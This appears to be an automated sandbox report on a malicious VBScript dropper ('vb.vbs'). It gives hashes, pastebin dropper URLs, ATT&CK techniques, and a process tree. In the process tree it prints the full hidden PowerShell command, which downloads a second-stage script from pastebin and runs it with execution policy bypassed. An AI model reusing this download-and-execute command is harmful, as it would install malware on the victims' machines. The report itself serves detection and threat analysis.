318550907c41746ca0a815c0b8856e42cda84a2db6700311a89766d5aa136c9f

General

Target

vb.vbs
Size

1KB
MD5

4f06b12e890e19ecc7d71fb0353e209c
SHA1

5064eeaef0e706cbac734bd014993805a96e70db
SHA256

318550907c41746ca0a815c0b8856e42cda84a2db6700311a89766d5aa136c9f
SHA512

7a40b05e1c30ef6617a73b7679f5caaa023e717b70fd3821b0468dc06e5a29a0dffff73167842c897c35d86fc9153c5628fb692d4de8d6668f95ad88c7d0ba66

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://pastebin.com/raw/UxiyyjiX

exe.dropper

https://pastebin.com/raw/UxiyyjiX

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://pastebin.com/raw/uRxFsn59

exe.dropper

https://pastebin.com/raw/20fZZM5U

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
4	1604	powershell.exe
10	1604	powershell.exe
63	3860	powershell.exe
67	3860	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1604	powershell.exe
4600	powershell.exe
3860	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Control Panel\International\Geo\Nation	WScript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
3	pastebin.com
4	pastebin.com
63	pastebin.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1604	powershell.exe
1604	powershell.exe
4600	powershell.exe
4600	powershell.exe
3860	powershell.exe
3860	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1604	powershell.exe
Token: SeDebugPrivilege	4600	powershell.exe
Token: SeDebugPrivilege	3860	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4416 wrote to memory of 1604	4416	WScript.exe	89
PID 4416 wrote to memory of 1604	4416	WScript.exe	89
PID 1604 wrote to memory of 4600	1604	powershell.exe	91
PID 1604 wrote to memory of 4600	1604	powershell.exe	91
PID 3000 wrote to memory of 2468	3000	WScript.exe	103
PID 3000 wrote to memory of 2468	3000	WScript.exe	103
PID 2468 wrote to memory of 3860	2468	cmd.exe	105
PID 2468 wrote to memory of 3860	2468	cmd.exe	105

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\vb.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4416
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Start-Transcript -Path 'C:\\Users\\Public\\error_log.txt' -Append; [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $client = New-Object Net.WebClient; $pastebinUrl = 'https://pastebin.com/raw/UxiyyjiX'; $outputPath = 'C:\\Users\\Public\\en.ps1'; try { $downloadUrl = $client.DownloadString($pastebinUrl); $client.DownloadFile($downloadUrl, $outputPath); powershell.exe -ExecutionPolicy Bypass -File $outputPath -WindowStyle Hidden; } catch { Write-Host 'Error: ' $_.Exception.Message; } Stop-Transcript; "
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1604
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\\Users\\Public\\en.ps1 -WindowStyle Hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4600

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4628,i,16315016104747277319,5510969007830467313,262144 --variations-seed-version --mojo-platform-channel-handle=3692 /prefetch:8
1⤵
PID:2304

C:\Windows\System32\WScript.exe
C:\Windows\System32\WScript.exe "C:\Users\Public\roox.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3000
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Public\roox.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2468
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& 'C:\Users\Public\roox.ps1'"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3860

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
724B

MD5
5a3667f9934e81830c3307532777323c

SHA1
93cd16bfeba3e2048ceec98c3b568d552b53c54e

SHA256
1136f9ee212afcfea4bdedc19806ee338b81ed195112930c00258d4e9f43d4b0

SHA512
6d6555e83bfb2db0d846a764a27f16ad7a6ea073c6d1a3f8579a0e0225154dac01b3b2cad4a1e41d00de5c29ea8757e99b5495a192a6e16cefc48853e8b6d5f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
2b440792eb88329f448eecb82d10ec97

SHA1
7bafbe7ae0d70e9971d341e2be6fd65fcaa5b15b

SHA256
9ebbc8fbaa12d72362ecf317594cb03769485ef9d81a06f35516d721fc84eab4

SHA512
adadbc272d5b08b765cb30f40aa6ffb4a9f8c9470d6f18d06185314c9b2b2863bc3d79dfe9a5eaa23e97ddef352d504e0d2bc59878d3a072a58956c9d2349555

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_05iq3rfh.uw1.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Public\en.ps1

Filesize
4KB

MD5
807e2b369b6d47b3f6a911cfd51d0be7

SHA1
7da66679e58124aa93712ac38dab5188dcd6aacb

SHA256
75e83ce60b7dd1de321e4603be2a958d17ae12293b224c58d70453511652e73f

SHA512
cb369e5feefd9571cc1d9bd3599ceb57bfefaa60aeeffa27ede12b15d8522b04a142fe5ee26495de40cb87db99be669b7bc153d6aca750fc02cc975983fe429b

Download Submit
C:\Users\Public\roox.bat

Filesize
195B

MD5
0344d401c7266a2bc6d19f5a2bc90040

SHA1
d3bf5a4b55b523429f3c7cb58ffa19504bececfc

SHA256
a3a38fb5090f5b9c951160d60d2fcd0e4488b3e72b1823fc17ef34a15fe9dab7

SHA512
59b448d02dadd2934abf88c40e25fec741724112e1320770b06df9b862643f2eba9cedee9d58244145fbece6d0d366380d6d2d6b56082a97649683ca10f9bc07

Download Submit
C:\Users\Public\roox.ps1

Filesize
1KB

MD5
25c7a71a7e3902e4b0df519b03f4f46a

SHA1
4d5483011828decf34624cf85c28d76aa2ba6ecb

SHA256
f0581efd5a944c2bd2940ec0d93de1ceb25fadc52238cd5df768c9cd76c5f24d

SHA512
7a30e43e0b665f0f76954983174ac5bdaffae30108c77ba02f0265e93122fe5761da65a6c5b6b6ab73c370004860f653a826a909abfdda957a48bd9cefdec69c

Download Submit
C:\Users\Public\roox.vbs

Filesize
686B

MD5
a0a3c05080df4421295e559291304405

SHA1
286e02a003b7e26a381e41d2127ffb0ed371f5b4

SHA256
22889b8d447ea679e8b2fb27eca95d0f04056203c9214818758b0a21379ea323

SHA512
ee9971cda442f9dd305e0810babd0a5f94589a966b2a4f10421b341d6e7914fed3f2a12821dc56d338f7ec5ba9a38830727d0e17fd18257e45ebabd7612e99b4

Download Submit
memory/1604-33-0x00007FF9478F0000-0x00007FF9483B1000-memory.dmp

Filesize
10.8MB

Download
memory/1604-0-0x00007FF9478F3000-0x00007FF9478F5000-memory.dmp

Filesize
8KB

Download
memory/1604-12-0x00007FF9478F0000-0x00007FF9483B1000-memory.dmp

Filesize
10.8MB

Download
memory/1604-11-0x00007FF9478F0000-0x00007FF9483B1000-memory.dmp

Filesize
10.8MB

Download
memory/1604-1-0x000001DBA59B0000-0x000001DBA59D2000-memory.dmp

Filesize
136KB

Download
memory/3860-47-0x000002469DBD0000-0x000002469DD92000-memory.dmp

Filesize
1.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads